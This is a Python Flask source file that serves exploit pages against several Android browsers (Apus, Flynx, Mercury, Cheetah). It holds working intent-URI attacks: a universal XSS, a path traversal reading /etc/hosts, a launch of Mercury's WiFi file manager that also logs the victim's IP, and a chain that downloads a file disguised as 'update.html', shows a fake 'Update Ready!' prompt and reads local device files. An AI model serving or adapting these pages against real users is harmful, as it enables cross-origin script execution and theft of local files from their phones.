import os
from . import src
from flask import request, make_response


@src.route("/exploits/apus/uxss")
def exploit_apus_uxss():

    html = """

    <html>
        <head>
            <meta charset="utf-8" />
            <title>Apus Browser UXSS)</title>
        </head>
        <body>
            <script>
                location.href="intent://#Intent;S.url=javascript:alert(666);SEL;component=com.apusapps.browser/.main.H5GameActivity;action=android.intent.action.VIEW;end";
            </script>
        </body>
    </html>

    """

    return html


@src.route("/exploits/flynx")
def exploit_flynx():

    html = """

    <html>
        <head>
            <meta charset="utf-8" />
            <title>Flynx</title>
        </head>
        <body>
            <script>
                location.href="intent://#Intent;S.webArchivePath=../../../etc/hosts;S.originalUrl=http://www.google.com;SEL;component=com.flynx/.ReadingModeActivity;end";
            </script>
        </body>
    </html>

    """

    return html


@src.route('/exploits/mercury/wfm/<method>')
def exploit_mercury_wfm(method):

    """
    Exploit Description

    Browser Version
    """
    if method == "intent":
        with open("web/app/logs/mercury.log", "w+") as f:
            print(request.headers.get("User-Agent"))
            if "Android" in request.headers.get("User-Agent"):
                f.write("".join("ip:{0}".format(request.remote_addr)))
                f.close()

                response = """

                    <html>
                        <head>
                            <meta charset="utf-8" />
                        </head>
                        <body>
                            <script>
                                location.href="intent:#Intent;SEL;component=com.ilegendsoft.mercury/.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end";
                            </script>
                        </body>
                    </html>

                """

                return response

    if method == "check":
        try:
            with open("web/app/logs/mercury.log", "r") as f:
                if f:
                    ip = f.readline().split(":")[1]
                    f.close()
                    os.remove("web/app/logs/mercury.log")
                    return ip
                else:
                    response = "Not Engaged"
                    return response
        except IOError:
            response = "Not Engaged"
            return response


@src.route("/exploits/cheetah/uxss/<method>", methods=["GET"])
def exploit_cheetah_uxss(method):

    if method == "download":
        html = """

            <!doctype html>
            <html>
                <head>
                    <meta name="viewport" content="width=device-width, user-scalable=no" />
                </head>
                <body style='width:100%;font-size: 16px;'>
                    <button onclick="exploit()">Read iframe</button>
                    <button onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')">Try \u0000</button>
                    <iframe src="file:/default.prop" name="test" style='width:100%;height:200'></iframe>
                    <script>
                    function exploit() {
                      var iframe = document.getElementsByTagName('iframe')[0];
                      try{
                        alert("Try to read local file.");
                        alert("contentWindow:"+iframe.contentWindow);
                        alert("document:"+iframe.contentWindow.document);
                        alert("body:"+iframe.contentWindow.document.body);
                        alert("innerHTML:"+iframe.contentWindow.document.body.innerHTML);
                      } catch(e) {
                        alert(e);
                      }
                    }
                    </script>
                </body>
            </html>

        """
        response = make_response(html)
        response.headers['Content-Disposition'] = 'attachment; filename=update.html'
        return response

    if method == "exploit":

        response = """

        <html>
            <head>
            </head>
            <body>
                <script>
                    setTimeout(function() {
                        location.href = "intent://#Intent;S.update_url=file:///sdcard/Download/update.html;S.update_subtitle=Update Ready!;S.update_btn_right=Confirm;SEL;component=com.ksmobile.cb/com.ijinshan.browser.push.PushMsgActivity;action=android.intent.action.VIEW;end";

                    }, 5000);

                </script>
                <iframe src="http://10.174.90.115:5000/exploits/cheetah/uxss/download" />
            </body>
        </html>

        """

        return response
